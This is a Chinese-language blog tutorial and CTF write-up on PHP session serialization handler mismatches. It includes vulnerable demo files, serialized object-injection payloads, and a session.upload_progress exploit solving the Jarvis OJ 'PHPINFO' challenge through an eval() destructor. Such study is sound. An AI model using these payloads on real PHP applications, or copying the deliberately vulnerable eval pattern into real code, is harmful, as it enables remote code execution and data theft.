PHP Session 序列化机制及其引发的安全漏洞

/ 13评 / 0

0x00 前言

由于HTTP协议是无状态的,因此其在处理登陆等需要长时间维持的状态时就显得很无力了,因此引入了Session,将这种状态以文件的形式存储在服务端。虽说在服务端存储Session尽可能的避免了Cookie的在客户端本地存储的安全性问题,但若是开发人员在开发过程中使用不当,便会引发一些严重的安全问题。

0x01 Session配置选项及存储方式

几个主要的与Session存储和序列化存储有关的配置选项:

session.save_path=""  设置session的存储路径
session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string 定义用来序列化/反序列化的处理器名字。默认使用php (php>=5.4默认 php_serialize)

session.serialize_handler

主要了解一下session.serialize_handler 选项

可以理解为,该配置表明了php在存储Session时的方式

例:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = 'annevi';
?>

当session.serialize_handler设置为php时 session 的内容为 :name|s:6:"annevi";

name 为键名,s:6:"annevi 则是 serialize("annevi") 的结果,键名和键值之间通过 |符号分割。

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'annevi';
?>

在这种情况下,Session文件的内容是a:1:{s:4:"name";s:6:"annevi";},使用php_serialize会将session中的key和value都进行序列化。


0x02 Session 序列化引擎使用不当漏洞

介绍

上面提到过,session在序列化存储的时候有多种不同的方式,因此要是php在反序列化我们存储的session数据时所使用的session.serialize_handler不同,那么就有可能引发安全问题,例如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = '|O:6:"Annevi":0:{}'; 

以上的SESSION采用了 php_serialize 的存储方式,在tmp目录下 我们可以看到session被存储为

a:1:{s:8:"username";s:18:"|o:6:"Annevi":0:{}";}

我们在读取session时,采用php处理引擎:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);
image-20190707001837501

发现我们输入的字符串在php引擎的反序列化作用下得到了Annevi类,这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:8:"username";s:18:"作为SESSION的key,将o:6:"Annevi":0:{}作为value,进行反序列化,最后就会得到Annevi这个类。这也就导致了反序列化漏洞。

测试demo

Demo1.php

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = @$_GET['username'];
echo "<a href='test3.php' >gogogo</a>";

Demo2.php

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();

Class demo {
    var $username;
    public function __construct()
    {
        $this->username = 'guest';
        //$this->test();
    }

    public function __destruct()
    {
        if ($this->username == 'admin') {
            echo "yes";
        } else {
            echo "nonono!";
        }
    }
}

首先访问demo1.php,构造反序列化exp如下:

<?php
Class demo{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
}
$obj = new demo();
echo serialize($obj);
//O:4:"demo":1:{s:8:"username";s:5:"admin";}

提交payload:

http://demo/demo1.php?username=|O:4:"demo":1:{s:8:"username";s:5:"admin";}

再访问demo2.phpimage-20190707110659844

成功将 username的值通过反序列化漏洞修改为admin.


0x03 利用session.upload_progress 实现反序列化攻击

介绍

该功能在 php版本>=5.4 存在 主要用于显示文件上传时的进度

主要有以下几个选项:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

第一个 enabled=on 就表明了upload_progress 处于开启状态。也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。

第二个 cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。

第三个 prefix = "upload_progress_" 和 第四个 name 拼接 将表示为session中的键名。 name的值是可控的。

总的来说,通过php.ini配置session.upload_progress之后,文件上传时,就会创建key为
session.upload_progress.prefix+session.upload_progress.name 的Session。其中session.upload_progress.prefix是配置文件中定义的,
session.upload_progress.name需要在form表单提交时,一并提交才可以。

样例 —— Jarvis OJ PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

可以看到,本题使用了php序列化引擎,且__destruct方法中存在eval函数,因此需要想办法控制eval函数的参数从而getshell.

但是并没有发现上面讲到过的使用不同的php序列化/反序列化引擎,也没有明显的可以直接控制session的地方,所以这条路应该是走不通了。

在代码中也没有参数可控的反序列化点,但是经过扫描,发现存在phpinfo.php,查看phpinfo信息。

发现session.upload_progress.enabled处于打开状态,因此就可以利用其向session中写入数据。

首先写一个向该程序上传文件的页面,当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名的变量时,就可以将filename的值赋值到session中。所以可以通过Session Upload Progress来设置session.从phpinfo中可以得知,session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS ,因此 post一个名为PHP_SESSION_UPLOAD_PROGRESS的参数,值随意。

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来就要构造payload,将payload作为filename的值提交,从而赋值给session.

exp

<?php
Class OowoO {
    public $mdzz;
    public function __construct()
    {
        $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    }
}

$obj = new OowoO();
$ser = serialize($obj);
$ser = addslashes($ser);
$ser = str_replace("O:5","|O:5",$ser);
echo $ser;

payload

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
//转义双引号是为了与原有的双引号区分开来。 加'|' 
image-20190707191557855

可以看到,代码已经执行成功了,接下来只需要利用file_get_contents读取flag文件的内容即可。


参考链接:

利用session.upload_progress进行文件包含和反序列化渗透

PHP中SESSION反序列化机制

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

Captcha Code